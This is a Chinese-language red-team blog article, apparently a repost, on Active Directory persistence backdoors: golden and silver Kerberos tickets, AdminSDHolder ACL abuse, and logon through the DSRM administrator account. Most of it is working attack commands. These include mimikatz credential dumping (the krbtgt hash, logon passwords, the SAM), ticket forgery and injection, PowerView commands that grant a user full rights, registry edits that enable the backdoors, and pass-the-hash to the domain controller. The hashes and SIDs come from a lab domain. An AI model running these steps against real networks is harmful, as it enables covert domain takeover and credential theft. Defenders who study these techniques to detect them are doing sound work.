域内持久化后门
2022-10-4 11:15:15 Author: 渗透安全团队(查看原文) 阅读量:10 收藏

首发先知社区:https://xz.aliyun.com/t/9964

可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。要伪造黄金票据的前提是知道域的SID和krbtgt账户的hash或者AES-256值。

1.1 收集krbtgt密码信息

privilege::debug
lsadump::lsa /inject /name:krbtgt

得到krbtgt的hash:

c73caed3bc6f0a248e51d37b9a8675fa

域sid值:

S-1-5-21-151877218-3666268517-4145415712

1.2 金票利用

使用mimikatz伪造kerberos票证

生成gold.kribi

mimikatz "kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712
/krbtgt:c73caed3bc6f0a248e51d37b9a8675fa /user:administrator
/ticket:gold.kirbi"

可以看到没有任何票证。

导入gold.kribi

kerberos::ptt C:\Users\jack\Desktop\gold.kirbi

成功导入administrator票据。

可以通过事件管理器查看到是以administrator来登录的

如果我们拥有服务的hash,就可以给自己签发任意用户的TGS票据。金票是伪造TGT可用于访问任何Kerberos服务,而银票是伪造TGS,仅限于访问针对特定服务器的任何服务。

这里使用CIFS服务,该服务是windows机器之间的文件共享。

2.1 获取sid

whoami /user

2.2 导出服务账号的NTLM Hash

privilege::Debug
sekurlsa::logonpasswords

2.3 创建银票

kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712 /target:DC.redteam.local /service:cifs /rc4:0703759771e4bed877ecd472c95693a5 /user:administrator /ptt

psexec获取DC机器cmd

AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护AD账户和组的模板,当我们获取到域控权限,就可以通过授予该用户对容器进行滥用,使该用户成为域管。

默认情况下,该组的 ACL 被复制到所有“受保护组”中。这样做是为了避免有意或无意地更改这些关键组。但是,如果攻击者修改了AdminSDHolder组的 ACL,例如授予普通用户完全权限,则该用户将拥有受保护组内所有组的完全权限(在一小时内)。如果有人试图在一小时或更短的时间内从域管理员中删除此用户(例如),该用户将回到组中。

在server2000中引入,默认包含如下的组:
Administrators
Domain Admins
Account Operators
Backup Operators
Domain Controllers
Enterprise Admins
Print Operators
Replicator
Read-only Domain Controllers
Schema Admins
Server Operators

其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限,受保护的ad账户和组的具备admincount属性值为1的特征。

3.1 使用powerview查询

查询ad保护的域的用户

Get-NetUser -AdminCount |select samaccountname

查询域中受ad保护的所有组

Get-netgroup -AdminCount | select name

3.2 使用ActiveDirectory

查询ad保护的域中所有的用户和组

Import-Module ActiveDirectory 
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name

3.3 添加用户

添加jack用户对其有完全控制权限。

Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity jack -Rights All

然后验证下,这里的sid为jack用户的。

Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-15187721
8-3666268517-4145415712-1106"
} | select objectdn,ActiveDirectoryRights |sort -Unique

默认会等待60分钟,可以通过修改注册表来设置为60秒后触发。

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 1 /f

3.4 恢复

恢复触发时间

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 120 /f

取消jack用户对adminSDHolder的权限

Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=redteam,DC=local" -PrincipalIdentity jack -Rights All -Verbose

每个DC内部都有一个本地管理员账户,在该机器上拥有管理员权限。

4.1 获取本地管理员hash

token::elevate
lsadump::sam

得到hash为:

852a844adfce18f66009b4f14e0a98de

4.2 检查是否工作

如果注册表项的值为0或者不存在,需要将其设置为2。

检查key是否存在并且获取值:

Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior

如果不存在则创建值为2的键:

New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD

如果存在但是不为2设置为2:

Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2

4.3 PTH域控

sekurlsa::pth /domain:DC /user:Administrator /ntlm:852a844adfce18f66009b4f14e0a98de /run:powershell.exe

星 球 免 费 福 利

 转发公众号本文到朋友圈

 截图到公众号后台第1、3、5名获取免费进入星球

星球的最近主题和星球内部工具一些展示

欢 迎 加 入 星 球 !

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247493327&idx=2&sn=e2138ffca3f6090c661fb53ae6b75026&chksm=c1761b60f60192765567a5c31cdf927f55aa219bad41f35e91e2acea4b5b60dc7e57f9c3be6b#rd
如有侵权请联系:admin#unsafe.sh